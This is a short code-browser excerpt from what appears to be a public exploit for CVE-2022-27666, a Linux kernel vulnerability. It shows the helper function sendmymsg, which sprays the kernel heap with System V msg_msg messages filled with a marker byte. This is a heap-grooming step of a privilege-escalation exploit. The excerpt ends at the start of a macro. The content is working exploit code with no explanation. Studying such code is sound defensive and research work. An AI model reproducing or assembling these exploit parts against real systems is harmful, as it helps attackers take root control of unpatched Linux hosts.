Function sendmymsg

CVE-2022-27666/exploit/exploit.c:204–222

send $loop msg_msg (first 8 bytes == MSG_SPARY == 0x38)

}
// send $loop msg_msg       (first 8 bytes == MSG_SPARY == 0x38)
void sendmymsg(int _msqid, int start, int loop, int size)
{
    int i, buff_size = size - MSG_HEADER_SIZE;
    int qbytes = MAX_QBYTES_IN_QUEUE;

    struct msgbuf_key *msg_key = malloc(sizeof(long) + buff_size);
    memset(&msg_key->mtext[0], MSG_SPARY, buff_size);
    for (i = start; i < start+loop; i++) {
        msg_key->mtype = BASE_MSGTYPE + i;
        //printf("[*] sendmymsg: msqid: %d, mtype: %ld\n", _msqid, msg_key->mtype);
        int ret = msgsnd(_msqid, msg_key, buff_size, 0);
        //printf("[*] sendmymsg: msqid: %d, ret: %d\n", _msqid, ret);
        if (ret == -1) {
            printf("msgsnd error\n");
            exit(1);
        }
    }
    free(msg_key);
}

#define NONFAILING(...)                                                        \
  ({                                                                           \